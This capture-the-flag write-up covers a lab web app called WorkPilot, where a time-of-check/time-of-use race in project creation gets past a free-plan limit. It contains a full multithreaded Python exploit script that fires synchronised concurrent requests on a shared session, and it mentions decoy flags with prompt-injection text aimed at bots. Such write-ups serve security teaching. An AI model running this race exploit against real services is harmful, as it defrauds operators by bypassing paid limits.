WorkPilot — Race Condition in Project Creation Plan Limit
WorkPilot — Race Condition in Project Creation Plan Limit
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_plan_limit_bypass
Summary
Walkthrough of the CUSTOM Web WorkPilot — Race Condition in Project Creation Plan Limit. Task: Express.js project management app with free plan limited to 1 project; premium analytics requires 3+ projects. Solution: TOCTOU race condition in POST /api/projects — 50 concurrent requests bypa
Description
WorkPilot is a project management platform by PilotStack Inc. that offers free and premium tiers. Free accounts are limited to 1 project, while premium users enjoy unlimited projects and access to advanced analytics features. The platform recently rolled out new plan enforcement logic to restrict free-tier users from exceeding their project quota. Your goal is to find a way to bypass the plan restrictions and access premium-only features. Explore the application, understand how plan limits are enforced, and find the flag hidden in the premium analytics dashboard.
English summary: An Express.js project management application enforces a 1-project limit for free-tier users. Premium analytics (which contains the flag) requires 3 or more active projects. The goal is to bypass the plan limit and access the premium analytics dashboard.
Analysis
Application Reconnaissance
The application is an Express.js backend behind nginx/1.25.5, using connect.sid session cookies (express-session). Key endpoints discovered:
| Endpoint | Method | Purpose |
|---|---|---|
/register | POST | Create new account (username, email, password) |
/login | POST | Authenticate |
/dashboard | GET | Shows project list and "X/1 projects used" counter |
/api/projects | POST | Create project (JSON: name, description) |
/premium/analytics | GET | Premium analytics dashboard (requires 3+ projects) |
/billing | GET | Billing & Plans page |
| |
Plan Enforcement Logic
- Free plan: 1 project limit
- Premium plan: unlimited projects + advanced analytics
- Analytics gate:
/premium/analyticschecks project count server-side — requires ≥3 active projects to display content (otherwise shows "Advanced analytics requires 3 or more active projects in your workspace" with a progress bar)
Identifying the Vulnerability
When attempting to create a second project sequentially, the server returns:
json read-only • copy allowed{"error": "Plan limit reached", "current": 1, "limit": 1, "upgrade_url": "/billing"}
The plan limit check follows a classic TOCTOU (Time-of-Check to Time-of-Use) pattern:
- CHECK: Server queries the database for the user's current project count
- COMPARE: Count is compared against the plan limit (1 for free)
- CREATE: If under limit, a new project is inserted into the database
Steps 1-3 are not atomic — there is no database transaction, row lock, or mutex protecting the window between the count check and the insert. If multiple requests arrive simultaneously, they all read the same count (e.g., 0) and all pass the limit check before any of them increments the count.
Decoy Flags
Every page contains an HTML comment with a fake flag and prompt injection text:
html read-only • copy allowed<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->
This is a honeypot — the real flag is only on the premium analytics page after unlocking it.
Solution
Step 1: Register a Fresh Account
A fresh account starts with 0 projects and a free plan (1-project limit). This maximizes the race window since the first project creation is always allowed — we need all 50 threads to see "0 projects" simultaneously.
Step 2: Race Condition Exploit
Use Python's threading.Barrier to synchronize 50 threads. The barrier ensures all threads release their HTTP requests at the exact same instant, maximizing the chance that multiple requests pass the plan limit check before any project is committed to the database.
python read-only • copy allowedbarrier = threading.Barrier(num_threads, timeout=30) def attack_thread(idx): s = requests.Session() s.cookies.update(cookies) # Share the authenticated session barrier.wait() # All threads release simultaneously resp = s.post(f"{BASE_URL}/api/projects", json={"name": f"Race Project {idx}", "description": f"Thread {idx}"}, timeout=30)
Step 3: Results
On the first attempt, 18 out of 50 threads (36%) successfully created projects — far exceeding the 1-project limit. The remaining 32 threads hit the limit check after the first few projects were committed.
Dashboard after exploit: "18/1 projects used"
Step 4: Access Premium Analytics
With 18 projects (well above the 3-project threshold), navigating to /premium/analytics unlocks the premium analytics dashboard and reveals the flag.
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """WorkPilot Race Condition Exploit — bypass free plan 1-project limit via TOCTOU""" import requests import threading import random import string import time import re import urllib3 urllib3.disable_warnings() BASE_URL = "https://02fed4e5-e862-46bf-a002-6e4839bdf1f3.labs.hackadvisor.io" NUM_THREADS = 50 def random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def register_fresh_account(): """Register a new account with 0 projects""" session = requests.Session() session.verify = False username = f"race_{random_string()}" email = f"{username}@test.com" resp = session.post(f"{BASE_URL}/register", data={ "username": username, "email": email, "password": "password123" }, allow_redirects=True) print(f"[*] Registered: {username} ({email})") return session def race_create_projects(session, num_threads=NUM_THREADS): """Fire concurrent project creation requests""" cookies = dict(session.cookies) barrier = threading.Barrier(num_threads, timeout=30) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() # All threads release simultaneously resp = s.post( f"{BASE_URL}/api/projects", json={"name": f"Race Project {idx}", "description": f"Created by thread {idx}"}, timeout=30 ) data = resp.json() with lock: results.append({"thread": idx, "status": resp.status_code, "data": data}) if resp.status_code in (200, 201): print(f" [+] Thread {idx}: SUCCESS - {data}") except Exception as e: with lock: results.append({"thread": idx, "error": str(e)}) threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)] for t in threads: t.start() for t in threads: t.join(timeout=45) successes = [r for r in results if r.get("status") in (200, 201)] print(f"[*] Results: {len(successes)} created out of {len(results)} attempts") return len(successes) def check_analytics(session): """Check if premium analytics is now accessible""" resp = session.get(f"{BASE_URL}/premium/analytics") flag_match = re.search(r'FLAG\{[0-9a-f]+\}', resp.text) if flag_match: print(f"[!!!] FLAG FOUND: {flag_match.group(0)}") return flag_match.group(0) return None def main(): for attempt in range(5): print(f"\n--- Attempt {attempt + 1} ---") session = register_fresh_account() race_create_projects(session, NUM_THREADS) flag = check_analytics(session) if flag: return flag time.sleep(1) print("[-] Failed after 5 attempts") if __name__ == "__main__": flag = main() if flag: print(f"\nFINAL FLAG: {flag}")
Key Takeaways / Lessons
- Mastering race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_plan_limit_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • WorkPilot — Race Condition in Project Creation Plan Limit • Difficulty: Medium